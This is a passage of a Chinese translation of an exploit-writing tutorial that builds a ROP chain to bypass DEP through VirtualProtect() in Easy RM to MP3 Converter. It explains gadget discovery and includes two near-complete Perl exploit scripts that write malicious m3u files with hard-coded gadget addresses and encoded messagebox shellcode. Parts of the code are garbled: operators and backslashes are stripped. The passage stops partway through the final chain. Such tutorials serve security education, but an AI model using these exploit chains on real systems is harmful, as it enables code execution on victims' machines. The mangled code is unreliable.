●我们需要找到另一个指针(指向ADDEAX,80+RET)并且将它放在从栈上弹出的值的下面
(小配件2)
●我们需要跳到第一个小配件(指向POPEAX+RET)来开始这个链
我们将在一会儿讨论找rop指针。现在,我将给你这些指针:
10026D56:POPEAX+RET:小配件1
1002DC24:ADDEAX,80+POPEBX+RET:小配件2
(第二个指针会执行POPEBX。这不会破坏我们的链,但是会影响ESP和你需要用作下一个
rop小配件的填料,因此我们不得不插入一些“填料”来弥补这个)
因此,如果我们要一个接一个执行这两个指令,然后用我们期待的在EAX中的值来结束,那
么栈设置是这样的:
栈地址
ESP指向这里->0010F730
0010F734
0010F738
0010F73C
栈值
10026D56(指向POPEAX+RET)
50505050(将被弹入EAX)
1002DC24(指向ADDEAX,80+POPEBX+RET)
DEADBEEF(将被弹入EBX,填料)
因此,首先,我们将需要确认0x10026D56被执行。我们在我们的exploit的开始处,因此
我们不得不使EIP指向一个RET指令。在一个已经加载的模块中找到一个指向RET的指针然
后将那地址放入EIP中。我们用0x100102DC。
当EIP被一个指向RET的指针覆盖,它明显会跳到那个RET指令。RET指令会返回到栈中,
在ESP(0x10026D56)取出值然后跳到那里。这将指向POPEAX并且将50505050放入EAX
中。POPEAX(在0x10026D57)后的RET会跳到ESP处的地址。这会在0x1002DC24(因为
50505050被弹到eax中)。0x1002DC24是指向ADDEAX,80+POPEBX+RET的指针,因此下一
个小配件会在50505050加上0x80。
我们的例子exploit将会是这样的:
将调试器附加到这个程序中,然后在0x100102DC设置一个断点。运行程序然后倒入m3u文
件。断点将会被碰上:
当碰上断点时,EIP指令指向我们的RETN指令。你可以在CPU窗口下面的小窗口中看到
RET指令会返回到0x10026D56(在栈顶,ESP指向的位置):
●RETN:EIP跳到0x10026D56,ESP移动到0010F734
●POPEAX:将会从栈上取出50505050然后放入EAX。ESP移到0010F738
●RETN:会将1002DC24放入EIP并且将ESP移到0010F73C
●ADDEAX,80:将会在50505050上加上0x80(EAX)
●POPEBX:这会将DEADBEEF放入EBX中并且会将ESP加上4字节(到0010F740)
●RETN:这会从栈上取出下一个指针然后跳到那里(这个例子中是43434343)
在最后一个RETN被执行前,我们可以看到:
正如你能看到的,我们可以执行指令并且在寄存器上精巧制作值,没有直接在栈上执行一条
单独的机器码。我们已经将现有的指令链在一起,这是ROP的本质。
在继续之前确保你已经理解了链接的思想。
找
ROP
小配件
一会儿之前,我已经介绍了ROP链的基础。本质上,你需要找到跟着一个RET指令(RETN,
RETN4,RETN8等等)的指令序列,它会允许你跳到下一个序列/小配件。
有两种方法来找到帮你打造ROP链的小配件:
●你可以明确地找一些指令然后看它们是否跟着一个RET。在你找的指令和RET指令之间的
指令(会结束小配件)应该不要破坏小配件。
●你可以找所有的RET指令然后往回走,看是否前面的指令包括你要找的指令。
在两者情况下,你可以用调试器来找指令,找RET,等等。然而,手动搜索这些指令是很费
时间的。
而且,如果你用“列出所有的并且往回看”的方法(将会立刻产生更多的结果并且给你更精
确的结果),你可以做些机器码分片来找额外的小配件(以同样的ret结束的)
这听起来有点模糊,因此我将给你一个例子。
比如你在0x0040127C(机器码0xC3)找一个RET。在调试器的CPU窗口中,在ret之前的
指令是ADDAL,0x58(机器码0x800xc00x58)。因此你已经找到一个将0x58加到AL上的
小配件。
这两个指令通过分开ADD指令的机器码能产生另一个小配件。ADD指令的最后一个字节
是58。并且那是POPEAX的机器码。
这意味着有另一个rop小配件,从0x0040127E处开始:
如果你正在找RET然后再调试器窗口看前面的指令,那么你不能发现这个。
为了能使你的生活更简单点,我已经在pvefindaddr写了一个函数,它将
●找所有的ret(RETN,RETN4,RETN8等等)
●往回看(一直到8个指令)
●并且会做“机器码分块”来找新的以同样的RET小配件
因此打造自己的rop小配件集,所有你要做的是运行!Pvefindaddrrop,它将会给你很多的
rop小配件给你玩。并且如果你的指针(rop小配件)必须是没有null字节的,那么简单地
运行“!pvefindaddrropnonull”。
这个函数会写入所有的ROP小配件到ImmunityDebugger的程序文件夹下的“”文
件中。注意这个操作很花费CPU的,并且会花一天来产生所有的小配件(取决于加载模块的
数目)。我的建议是找你要用的模块(!Pvefindaddrnoaslr)并且运行!Pvefindaddrrop<
模块名>而不是盲目地在所有模块上运行它。
你能从一个特定的模块中通过制定模块名(如:“!”)创
建rop小配件
注意:“!pvefindaddrrop”将自动忽略ASLR模块中的地址或者需要重定基址的模块。
这会帮我们确认结果()只包含能够导致或多或少可靠的exploit的指针。如果你坚持
包括这些模块的指针,你将不得不手工对这些模块的每一个运行!pvefindaddrrop<模块名>。
“
call
寄存器”小配件
倘使你正在找一个特别的指令,但是看起来不可能找到一个以ret结束的小配件?倘使你已
经你已经在你喜欢加载的模块中完成搜索,并且发现你只能找到一个在RET前有一个“call
寄存器”的指令?
首先,你应该找一种方法来将一个有意义的指针放入那个寄存器中。只是使一个指针放在栈
上然后给自己找一个能将值放入寄存器的小配件。这回确认CALL寄存器指令将会成功。
这个指针可以是一个RET,允许你那样做犹如CALL指令不存在。或者你也能简单地用一
个指向另一个小配件的指针来继续你的rop链。
Pvefindaddrrop也会列出在ret前面有一个call寄存器指令的小配件。
明白了。但是我要怎样
/
从哪里开始?
在写单独的一行代码前,你要做的第一件事是设置你的策略,通过问自己下面的问题:
●我会用什么技术(WindowsAPI)来绕过DEP并且在栈上创建的栈设置/参数会有什么影响。
当前的DEP策略是什么并且绕过它的选择是什么?
●我能用什么rop小配件?(这个会是你的工具箱并且会允许你精巧制作你的栈)
●怎么开始这个链?怎样转到你控制的缓冲区上?(在一个directRETexploit中,你很
可能控制ESP,因此你简单地用一个指向RETN的指针来覆盖EIP来开始这个链)
●怎样精巧地布置栈?
回答:
●技术:在这个例子中,我会用VirtualProtect()来修改你的shellcode在的位置的内存
页保护参数。你可以明显用DEP策略兼容函数中的一个,但这个例子中我会用
VirtualProtect()。当函数被调用时,这个函数需要下面的参数放在栈顶:
○返回地址。在VirtualProtect()函数完成时,这个是函数要返回到的地址。
(=shellcode在的位置的指针。在运行时动态产生的地址(rop))
○lpAddress:shellcode在的位置的指针。在运行时动态产生的地址(rop)
○Size:在运行时动态产生(除非你的exploit缓冲区能处理null字节,但是这不是
EasyRMtoMP3的情况)
○flNewProtect:新的保护标志。这个值必须设成0x20来使页面可执行。这个值包含
null字节,因此这个值也要在运行时产生。
○lpflOldProtect:接收旧的保护标志值的指针。它可以是静态地址,但是必须是可写
的。我会从EasyRMtoMP3Converter模块(0x10035005)中的一个取出一个地址。
●ROP小配件:!pvefindaddrrop
●开始这个链:转到栈上。这个例子中,是一个directRET覆盖,因此我们只需一个RET
的指针。我们已经有一个可以成功的指针(0x100102DC)
●可以用不同的方法精巧地布置栈。你可以将值放到寄存器中然后将它们入栈。你可以把一
些值放到栈上然后用sniper技术写入动态值。打造逻辑,这个难题,这个酷比魔方,可能
是整个ROP打造过程中最难的部分。
我们的编码后的shellcode(“弹出一个对话框”)将在620字节左右并且能首先存在栈上的
某个地方。(我们不得不编码整个shellcode因为EasyRMtoMP3有一些字符限制)
我们的缓冲区/栈看起来是这样的:
●废物
●eip
●废物
●产生/写入参数的rop链
●调用VirtualProtect函数的rop链
●更多的rop/一些填料/nop
●shellcode
●废物
并且在VirtualProtect函数被调用的同时,栈被rop链修改成这样:
废物
Eip
废物
rop
ESP指向这里->参数
更多的rop
填料/nop
Shellcode
废物
开始前测试下
在实际打造rop链之前,我会核实VirtualProtect()会导致期望的结果。最简单的方法是
在调试器里手动布置栈/函数参数:
●是EIP指向VirtualProtect()函数调用。在XPSP3,这个函数能在0x7C801AD4
●手动将VirtualProtect()期望的参数入栈
●将shellcode入栈
●运行函数
如果成功,我确信VirtualProtect()调用会成功,shellcode也会成功运行。
为了使这个简单的测试更容易,我将用下面的exploit脚本:
用这个脚本,我们用VirtualProtect()的指针(0x7C801AD4)覆盖EIP,并且我们会将5个需
要的参数放到栈顶,接着一些nop指令,然后是messageboxshellcode。
lpAddress,Size和flNewProtect参数设成“XXXX”,“YYYY”和“ZZZZ”。我们将在一会
儿手动改变他们。
创建m3u文件,将ImmunityDebugger附加到程序中然后在0x7C801AD4处设一个断点。运
行程序,打开m3u文件并核查断点被碰上:
现在看下栈顶。我们可以看到5个参数:
滚下来知道你能看到shellcode的开头:
记录shellcode的基地址(例子中是0010F80C)然后滚下来核查整个shellcode都在栈中。
现在的思路是手动编辑栈上的参数然后测试VirtualProtect调用会不会成功。
在栈上编辑一个值和选择一个值一样简单,按CTRL+E,然后输入一个新的值(记住这是小
顶机!)。
首先,在0010F730处编辑值(返回地址)然后将它设成shellcode的地址(0010F80C)。
然后在0010F734处(Address,现在包含58585858)编辑值,把它设成0010F80C(同样,
你的shellcode在的位置的地址)
现在,在0010F738处(Size,现在包含59595959)编辑值,把它设成shellcode的大小。我
将花700字节,和0x2BC一致
有点远也没事,只要确保你的shellcode会包含在Address+Size的范围之内。你会看到
当用rop来精巧制作一个值是很困难的,因此你理解你不需要很精确是很重要的。如果你用
nop来包围你的代码并且你确信你能覆盖所有的shellcode,那也可以。
最后,在0010F73C(NewProtect)处编辑值并设成0x40:
修改之后,栈是这样的:
按F7一次然后看怎样跳到VirtualProtect()。
正如你所看到的,这个函数自身很短,除了一些跟栈相互作用的指令之外,只包含一个到
VirtualProtectEx的调用。这个函数将改变访问保护级别。
继续单步步入这些指令(F7)知道你到达RETN10指令(在0x7C801AED)。
在那时,栈包含这个:
ret将会跳到我们的shellcode中然后执行(如果一切顺利的话)
按F9:
这意味着VirtualProtect()技术是成功的。
是停止玩的时候了&使它通用(=运行时创建动态值)。
Everybodystaycool,thisisaroppery
如果你希望用一些通用的指令来打造一个ROP链,那么我让你失望了。没有这样的东西。跟
着的是一些创造力,尝试&错误,一些asm事实的结果,和!pvefindaddrrop的输出。
唯一可能的接近“或多或少通用”的rop结构(这个是对我来说很好的)是这样的:
正如你看到的,我们在链的开头基本上限制了指令(rop小配件)的数目。我们只是保存栈
指针然后跳转(到VirtualProtect函数/参数),这会使后面覆盖参数占位符更容易点。(不要
担心--你会在一会儿之后明白我的意思)
函数指针/参数占位符很明显没有rop小配件,但是只是放在栈上的静态数据,作为缓冲区
的一部分。你唯一要做的事是用动态创建的值改变/覆盖占位符,用占位符后面的一个rop
链。
首先,我们要改变在我们的测试脚本中用来覆盖EIP的地址。不是直接调用VirtualProtect(),
我们现在不得不返回到栈上。因此用一个指向RETN的指针覆盖掉EIP。我们将用早些时候
找到的:0x100102DC
接下来,我们需要考虑在栈上精巧布置我们的值并将它们放在正确的地方的可能选择。
●shellcode的指针:一种最简单的方法是把ESP的地址放在一个寄存器中,然后增长它直
到它指向shellcode。可能有其他的方法,我们要在的输出中看下我们的处理是什
么。
●Size变量:你可以设置一个寄存器一个开始值然后增长直到它包含0x40。或者你可以找
在寄存器上的ADD或SUB指令,当它执行时产生0x40。当然,你不得不首先将开始值(从
栈上弹出的)放入那个寄存器中。
●将动态产生的数据放回到栈上也可以通过很多种方法实现。你可以将值按照正确的顺序放
到寄存器中,然后用pushad将它们入栈。或者你可以用“MOVDWORDPTRDS:[寄存器A+
偏移量],寄存器B”指令写入栈上的特定位置。当然寄存器B首先必须包含期望的值。
因此很明白你要看下,你的工具箱,然后看下什么方法会成功。
你明显需要找到不会搞糟指令流或者改变其他寄存器/值的指令...如果它们可以的话,
你可以利用它。打造一个rop链的过程跟解决酷比魔方很像。当你执行一条指令,它可能会
对其他的寄存器/栈位置/...产生影响。目标是利用它们(或者当它们会破坏链时完全避免)
总是从创建你的文件开始。如果你坚持用程序dll的指针,那么你可以创建很多
rop文件,每个特定的模块一个。但是只要你用OSdll自身的地址硬编码一个WindowsOSAPI
的函数指针,那么避免OSdll就没意义了。
或者,核查一下程序dll中的一个是否包含一样的函数调用是很值得的。这会是exploit
可移植和通用。(看后面的ASLR)
在这个例子中,我将用VirtualProtect()。可用的专用模块也是可执行程序自身(不受ASLR
的影响)和(不受ASLR影响并且也不会重定基址)。因此,用IDAFree
加载两个文件看下这些模块中的一个是否包含一个VirtualProtect()的调用。如果是的话,
我们也可以试着用程序自身的指针。
结果:没有找到任何调用,因此我们要用里的地址
很好,我们现在真正开始
阶段1:保存栈指针然后跳过参数
我们的VirtualProtect()函数中的2个参数需要指向我们的shellcode。(返回值和
lpAddress)。由于shellcode放在栈上,最简单的方法是将当前栈指针存入一个寄存器。这
有3个优点:
●你可以简单地加/减寄存器上的值使它指向你的shellcode。ADD,SUB,INC,DEC指令很
普遍。
●最初的值指向跟VirtualProtect()在的栈地址很近。当我们需要跳回去并调用
VirtualProtect()时,我们要在rop链末尾利用这个。
●这个值也很靠近参数占位符的栈位置。用一个“movdwordptrds:[寄存器+偏移量],寄
存器”指令来覆盖参数占位符很简单。
保存栈指针可以用很多方法:MOVREG,ESP/PUSHESP+ROPREG,等等
你会注意到MOVREG,ESP不是一个好选择,因为很可能在同一个小配件中REG会又被弹出,
因此又覆盖了REG的栈指针。
在中快速搜索后,我发现这个;
栈指针入栈,然后又弹入EDI中。这很好,但是,正如你将要学到的,在那个寄存器上做
ADD/SUB/...操作指令时,EDI不是一个流行的寄存器。因此将指针存入EAX中也是一个好
主意。此外,我们可能需要在两个寄存器中存这个指针。因为我们需要改变一个使它指向
shellcode,我们可能需要用另一个指向函数占位符在的栈位置。
因此,再次快速搜索,我们得到这个:
这个也会将同样的栈指针存入EAX中,注意POPEBP指令。我们需要加上一些填料来弥补
这个指令。
好的,这是我们需要的一切。我真的很喜欢避免在函数指针/参数之前写太多小配件,因为
这会使覆盖参数占位符更难。因此剩下的是跳到函数块。
最简单的方法是加上一些字节到ESP,然后返回...:
到目前为止,我们的exploit脚本是这样的:
创建m3u文件,将Immunity附加到程序中,在0x100102DC处设断,打开文件直到碰到断
点。
当碰到断点时,看栈上。你应该能看到你的minirop链,紧跟着VirtualProtect的指针和它的
参数(占位符),然后在修改ESP后我们要结束的位置。
单步执行指令然后看EAX,EDI和ESP。你应该看到ESP被入栈,放进EDI中。然后EDI
被入栈然后弹出到EAX中。最后ESP加上0x20字节并且RET将会把4A4A4A4A放入EIP
(JJJJ=my$rop2)
明白了吗?让我们继续。
阶段2:精巧制作第一个参数(返回值)
我们现在继续产生第一个参数然后覆盖在栈上第一个参数的占位符。
第一个参数需要指向shellcode。这个参数会用作VirtualProtect()函数的返回值,当函数已经
将页面标记为可执行时,它会自动跳到那里。
我们的shellcode在哪里?好的,在栈窗口中往下滚。在nop之后,我们将看到shellcode。
计划是用EAX或者EDI(两个都包含栈上的一个值),然后增加,留有足够的空间给未来的
rop小配件,因此它会指向nop/shellcode。
(你可以用nop的大小来确认改变了的值指向nop/shellcode,因此会很通用)
改变值是和在寄存器上加一些字节一样简单。假设我们要用EAX,我们可以找会做ADD
EAX,<一些值>+RET的rop小配件。
一个可能的小配件是这样的:
它会在EAX上加上0x100。一次增加就已经足够了(0x100=256字节)。如果还不够的话,
我们可以在后面再次插入另一个add。
接下来,我们需要将这个值写入栈中,覆盖掉占位符(当前包含“WWWW”或者57575757)。
我们怎么做到这个?
最简单的方法是找一个指向MOVDWORDPTRDS:[寄存器],EAX的指针。如果我们能
使[寄存器]指向占位符的地址,那么我们用EAX的内容(=指向shellcode的指针)覆盖掉
那个位置来结束。
一个可行的指针是这样的:
为了能使它成功,我们不得不放一个指针到占位符中-0x10到ESI。在这个值被写入时,我
们在EAX中有指向占位符的指针(MOVEAX,ESI),很棒...我们会在后面又用到它。接下
来,我们需要插入一些填料来弥补POPESI指令。
提示:使自己拥有一份UnxUtils/projects/unxutils/的拷贝(GNU最
重要的实用工具的端口,对win32)。这方法能用cat&grep来找好的小配件:
|grep"MOVDWORDPTRDS:[ESI+10],EAX#MOVEAX,ESI"
(不要忘了:和[之间的反斜杠)
但是在我们能用这个指令之前,我们不得不将正确的值放入ESI中。我们在EDI和EAX中
有指向栈的指针。EAX将会被用/改变(指向shellcode,记得),因此我们需要试着将EDI
的值放到ESI中,然后改变它的值使它指向参数1的占位符-0x10:
将这三个东西放在一起,我们的第一个真正的rop链是这样的:
将EDI放入ESI(然后增加它,如果必要的话,它会指向占位符1),改变EAX中的值因此
它会指向shellcode,然后覆盖掉占位符。
(注意:对第一个覆盖操作,ESI会自动指向正确的位置,因此我们需要增加或减少值。
ESI+10将会指向第一个参数占位符的位置)
在小配件之间,我们需要弥补额外的POP和RET4。
在将东西放在一起之后,exploit脚本是这样的:
#------------------------------------------------------------
#ROPbasedexploitforEasyRMtoMP3Converter
#writtenbycorelanc0d3r-:8800
#------------------------------------------------------------
my$file="rop.m3u";
my$buffersize=26094;
my$junk="Z"x$buffersize;
my$eip=pack('V',0x100102DC);#returntostack
my$junk2="AAAA";#compensate
#------PutstackpointerinEDI&EAX------------------------#
my$rop=pack('V',0x5AD79277);#PUSHESP,POPEDI
$rop=$('V',0x77C1E842);#PUSHEDI,POPEAX
$rop=$rop."AAAA";#compensateforPOPEBP
#stackpointerisnowinEAX&EDI,nowjumpoverparameters
$rop=$('V',0x1001653D);#ADDESP,20
#-------ParametersforVirtualProtect()----------------------#
my$params=pack('V',0x7C801AD4);#VirtualProtect()
$params=$params."WWWW";#returnaddress(param1)
$params=$params."XXXX";#lpAddress(param2)
$params=$params."YYYY";#Size(param3)
$params=$params."ZZZZ";#flNewProtect(param4)
$params=$('V',0x10035005);#writeableaddress
$params=$params.("H"x8);#padding
#ADDESP,20+RETwilllandhere
#changeESIsoitpointstocorrectlocation
#towritefirstparameter(returnaddress)
my$rop2=pack('V',0x763C982F);#XCHGESI,EDI#DECECX#RETN4
#-----Makeeaxpointatshellcode--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding-compensateforRETN4before
$rop2=$rop2."AAAA";#padding
#----------------------------------------------------------
#returnaddressisinEAX-writeparameter1
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#
my$nops="x90"x240;
#
#./msfpayloadwindows/messagebox
#TITLE=CORELANTEXT="roptestbycorelanc0d3r"R
#|./msfencode-ex86/alpha_mixed-tperl
my$shellcode=
"x89xe0xdaxcfxd9x70xf4x5ax4ax4ax4ax4ax4ax4a".
"x4ax4ax4ax4ax4ax43x43x43x43x43x43x37x52x59".
"x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41".
"x42x32x42x42x30x42x42x41x42x58x50x38x41x42".
"x75x4ax49x48x59x48x6bx4fx6bx48x59x43x44x51".
"x34x4cx34x50x31x48x52x4fx42x42x5ax46x51x49".
"x59x45x34x4ex6bx51x61x44x70x4ex6bx43x46x46".
"x6cx4cx4bx42x56x45x4cx4cx4bx42x66x43x38x4c".
"x4bx51x6ex45x70x4ex6bx50x36x44x78x42x6fx45".
"x48x44x35x4cx33x50x59x43x31x4ax71x4bx4fx48".
"x61x43x50x4cx4bx50x6cx51x34x46x44x4ex6bx47".
"x35x45x6cx4cx4bx42x74x43x35x42x58x46x61x48".
"x6ax4ex6bx51x5ax45x48x4ex6bx42x7ax47x50x47".
"x71x48x6bx4ax43x45x67x42x69x4ex6bx47x44x4e".
"x6bx46x61x48x6ex46x51x49x6fx45x61x49x50x49".
"x6cx4ex4cx4dx54x49x50x50x74x45x5ax4bx71x48".
"x4fx44x4dx47x71x4bx77x48x69x48x71x49x6fx49".
"x6fx4bx4fx45x6bx43x4cx47x54x44x68x51x65x49".
"x4ex4ex6bx50x5ax45x74x46x61x48x6bx50x66x4e".
"x6bx46x6cx50x4bx4cx4bx51x4ax45x4cx45x51x4a".
"x4bx4ex6bx43x34x4cx4bx43x31x4ax48x4dx59x42".
"x64x51x34x47x6cx45x31x4fx33x4fx42x47x78x44".
"x69x49x44x4fx79x4ax45x4ex69x4ax62x43x58x4e".
"x6ex42x6ex44x4ex48x6cx43x62x4ax48x4dx4cx4b".
"x4fx4bx4fx49x6fx4dx59x42x65x43x34x4fx4bx51".
"x6ex48x58x48x62x43x43x4ex67x47x6cx45x74x43".
"x62x49x78x4ex6bx4bx4fx4bx4fx49x6fx4fx79x50".
"x45x45x58x42x48x50x6cx42x4cx51x30x4bx4fx51".
"x78x50x33x44x72x44x6ex51x74x50x68x42x55x50".
"x73x42x45x42x52x4fx78x43x6cx47x54x44x4ax4c".
"x49x4dx36x50x56x4bx4fx43x65x47x74x4cx49x48".
"x42x42x70x4fx4bx49x38x4cx62x50x4dx4dx6cx4e".
"x67x45x4cx44x64x51x42x49x78x51x4ex49x6fx4b".
"x4fx49x6fx42x48x42x6cx43x71x42x6ex50x58x50".
"x68x47x33x42x6fx50x52x43x75x45x61x4bx6bx4e".
"x68x51x4cx47x54x47x77x4dx59x4bx53x50x68x51".
"x48x47x50x51x30x51x30x42x48x50x30x51x74x50".
"x33x50x72x45x38x42x4cx45x31x50x6ex51x73x43".
"x58x50x63x50x6fx43x42x50x65x42x48x47x50x43".
"x52x43x49x51x30x51x78x43x44x42x45x51x63x50".
"x74x45x38x44x32x50x6fx42x50x51x30x46x51x48".
"x49x4cx48x42x6cx47x54x44x58x4dx59x4bx51x46".
"x51x48x52x51x42x46x33x50x51x43x62x49x6fx4e".
"x30x44x71x49x50x50x50x4bx4fx50x55x45x58x45".
"x5ax41x41";
my$rest="C"x300;
my$payload=$junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print"Payloadsize:".length($payload)."n";
print"Shellcodesize:".length($shellcode)."n";
open($FILE,">$file");
print$FILE$payload;
close($FILE);
print"m3uFile$fileCreatedsuccessfullyn";
让我们在调试器中单步步入然后看addesp,20+ret执行之后发生了什么:
ret返回到0x763C982F(将EDI放入ESI)。
这时,寄存器是这样的:
(EAX和ESI现在指向栈上保存的地址)
这个小配件返回到0x1002DC4C(将会在EAX上加上0x100字节。这会增加EAX的值到
0010F834,指向shellcode之前的nop。
这个小配件返回到0x77E84115(将会执行下面的指令):
1、它会将EAX(=0x0010F834)写入ESI,+0x10地址处ESI当前包含0x0010F34。在ESI+10
(0x0010F44),我们返回值的占位符:
当mov指令执行时,我们成功地写入我们的返回地址(指向nop),作为VirtualProtect()函数
的参数:
2、ESI的值存入EAX,并且栈中的一些数据存入ESI。
阶段3:精巧制作第二个参数(lpAddress)
第二个参数需要指向标记为可执行的位置。我们将简单地用同样的指针正如第一个参数用
的。
这意味着我们能-或多或少-从阶段2重复整个序列,但是在我们能做这个之前,我们需要重
设我们的起始值。
在当前时候,EAX依然持有初始的保存的栈指针。我们不得不将它放回ESI中。因此我们
不得不找到一个做这样的事的小配件:PUSHEAX,POPESI,RET
然后,我们不得不增加EAX的值(add0x100)。我们又能用同样的小配件作为那个用来产
生参数1的值:0x1002DC4C(ADDEAX,100#POPEBX#RET)
最后,我们不得用4字节增加ESI的值,为了确保它指向下一个参数。我们所需要的是ADD
ESI,4+RET,或者4次的INCESI,RET
我会用
因此,更新过的exploit脚本是这样的:
#------------------------------------------------------------
#ROPbasedexploitforEasyRMtoMP3Converter
#writtenbycorelanc0d3r-:8800
#------------------------------------------------------------
my$file="rop.m3u";
my$buffersize=26094;
my$junk="Z"x$buffersize;
my$eip=pack('V',0x100102DC);#returntostack
my$junk2="AAAA";#compensate
#------PutstackpointerinEDI&EAX------------------------#
my$rop=pack('V',0x5AD79277);#PUSHESP,POPEDI
$rop=$('V',0x77C1E842);#PUSHEDI,POPEAX
$rop=$rop."AAAA";#compensateforPOPEBP
#stackpointerisnowinEAX&EDI,nowjumpoverparameters
$rop=$('V',0x1001653D);#ADDESP,20
#-------ParametersforVirtualProtect()----------------------#
my$params=pack('V',0x7C801AD4);#VirtualProtect()
$params=$params."WWWW";#returnaddress(param1)
$params=$params."XXXX";#lpAddress(param2)
$params=$params."YYYY";#Size(param3)
$params=$params."ZZZZ";#flNewProtect(param4)
$params=$('V',0x10035005);#writeableaddress
$params=$params.("H"x8);#padding
#ADDESP,20+RETwilllandhere
#changeESIsoitpointstocorrectlocation
#towritefirstparameter(returnaddress)
my$rop2=pack('V',0x763C982F);#XCHGESI,EDI#DECECX#RETN4
#-----Makeeaxpointatshellcode--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding-compensateforRETN4before
$rop2=$rop2."AAAA";#padding
#----------------------------------------------------------
#returnaddressisinEAX-writeparameter1
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#EAXnowcontainsstackpointer
#saveitbacktoESIfirst
$rop2=$('V',0x775D131E);#PUSHEAX#POPESI#RETN
#-----Makeeaxpointatshellcode(again)--------------------------
$rop2=$('V',0x1002DC4C);#ADDEAX,100#POPEBP
$rop2=$rop2."AAAA";#padding
#increaseESIwith4
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
$rop2=$('V',0x77157D1D);#INCESI#RETN[Module:]
#andwritelpAddress(param2)
$rop2=$('V',0x77E84115);
$rop2=$rop2."AAAA";#padding
#
my$nops="x90"x240;
#
#./msfpayloadwindows/messagebox
#TITLE=CORELANTEXT="roptestbycorelanc0d3r"R
#|./msfencode-ex86/alpha_mixed-tperl
my$shellcode=
"x89xe0xdaxcfxd9x70xf4x5ax4ax4ax4ax4ax4ax4a".
"x4ax4ax4ax4ax4ax43x43x43x43x43x43x37x52x59".
"x6ax41x58x50x30x41x30x41x6bx41x41x51x32x41".
"x42x32x42x42x30x42x42x41x42x58x50x38x41x42".
"x75x4ax49x48x59x48x6bx4fx6bx48x59x43x44x51".
"x34x4cx34x50x31x48x52x4fx42x42x5ax46x51x49".
"x59x45x34x4ex6bx51x61x44x70x4ex6bx43x46x46".
"x6cx4cx4bx42x56x45x4cx4cx4bx42x66x43x38x4c".
"x4bx51x6ex45x70x4ex6bx50x36x44x78x42x6fx45".
"x48x44x35x4cx33x50x59x43x31x4ax71x4bx4fx48".
"x61x43x50x4cx4bx50x6cx51x34x46x44x4ex6bx47".
"x35x45x6cx4cx4bx42x74x43x35x42x58x46x61x48".
"x6ax4ex6bx51x5ax45x48x4ex6bx42x7ax47x50x47".
"x71x48x6bx4ax43x45x67x42x69x4ex6bx47x44x4e".
"x6bx46x61x48x6ex46x51x49x6fx45x61x49x50x49".
"x6cx4ex4cx4dx54x49x50x50x74x45x5ax4bx71x48".
"x4fx44x4dx47x71x4bx77x48x69x48x71x49x6fx49".
"x6fx4bx4fx45x6bx43x4cx47x54x44x68x51x65x49".
"x4ex4ex6bx50x5ax45x74x46x61x48x6bx50x66x4e".
"x6bx46x6cx50x4bx4cx4bx51x4ax45x4cx45x51x4a".
"x4bx4ex6bx43x34x4cx4bx43x31x4ax48x4dx59x42".
"x64x51x34x47x6cx45x31x4fx33x4fx42x47x78x44".
"x69x49x44x4fx79x4ax45x4ex69x4ax62x43x58x4e".
"x6ex42x6ex44x4ex48x6cx43x62x4ax48x4dx4cx4b".
"x4fx4bx4fx49x6fx4dx59x42x65x43x34x4fx4bx51".
"x6ex48x58x48x62x43x43x4ex67x47x6cx45x74x43".
"x62x49x78x4ex6bx4bx4fx4bx4fx49x6fx4fx79x50".
"x45x45x58x42x48x50x6cx42x4cx51x30x4bx4fx51".
"x78x50x33x44x72x44x6ex51x74x50x68x42x55x50".
"x73x42x45x42x52x4fx78x43x6cx47x54x44x4ax4c".
"x49x4dx36x50x56x4bx4fx43x65x47x74x4cx49x48".
"x42x42x70x4fx4bx49x38x4cx62x50x4dx4dx6cx4e".
"x67x45x4cx44x64x51x42x49x78x51x4ex49x6fx4b".
"x4fx49x6fx42x48x42x6cx43x71x42x6ex50x58x50".
"x68x47x33x42x6fx50x52x43x75x45x61x4bx6bx4e".
"x68x51x4cx47x54x47x77x4dx59x4bx53x50x68x51".
"x48x47x50x51x30x51x30x42x48x50x30x51x74x50".
"x33x50x72x45x38x42x4cx45x31x50x6ex51x73x43".
"x58x50x63x50x6fx43x42x50x65x42x48x47x50x43".
"x52x43x49x51x30x51x78x43x44x42x45x51x63x50".
"x74x45x38x44x32x50x6fx42x50x51x30x46x51x48".
"x49x4cx48x42x6cx47x54x44x58x4dx59x4bx51x46".
"x51x48x52x51x42x46x33x50x51x43x62x49x6fx4e".
"x30x44x71x49x50x50x50x4bx4fx50x55x45x58x45".
"x5ax41x41";
my$rest="C"x300;
my$payload=$junk.$eip.$junk2.$rop.$params.$rop2.$nops.$shellcode.$rest;
print"Payloadsize:".length($payload)."n";
print"Shellcodesize:".length($shellcode)."n";
open($FILE,">$file");
print$FILE$payload;
close($FILE);
print"m3uFile$fileCreatedsuccessfullyn";
阶段4和阶段5:第三个参数和第四个参数(大小和保护标志)
为了创建第三个参数,我决定设置大小为0x300字节。我们需要做这个的小配件是XOR
EAX,EAX和ADDEAX,100
将结果值作为参数写入的技术和其他参数一样
●保存EAX的值到ESI
●改变EAX(XOREAX,EAX:0x100307A9,然后ADDEAX,100+RET,连续三次:0x1002DC4C)
●将ESI增加4字节
●将EAX写入ESI+0x10处
第四个参数(0x40)用同样的原理:
●保存EAX的值到ESI
●设置EAX为0然后加上40(XOREAX,EAX+RET:0x100307A9/ADDEAX,40+RET:0x1002DC41)
●将ESI增加4字节
●将EAX写入ESI+0x10处
最后阶段:跳到VirtualProtect
所有的参数现在写入栈中:
我们所需要的是找到一种方法来使ESP指向VirtualProtect()保存的指针的位置(直接跟着那
个函数的参数),然后一某种方式返回。
当前寄存器的状态是:
我做这个的选择是什么?我怎样使ESP指向0010F740然后返回(到VirtualProtect()的指
针))?
回答:EAX已经指向这个地址。因此如果我们能将eax放入esp然后返回,这会很好。
搜索寻找一个pusheax/popesp的结合:
这会成功,但是在小配件中有2个POP指令。因此我们不得不首先调节EAX(来弥补POP)。
我们基本上在调节栈前需要首先从eax上减去8。
为了做到这个,我们可以用
我们的最后链是这样的:
●0x775D12F1
●0x775D12F1
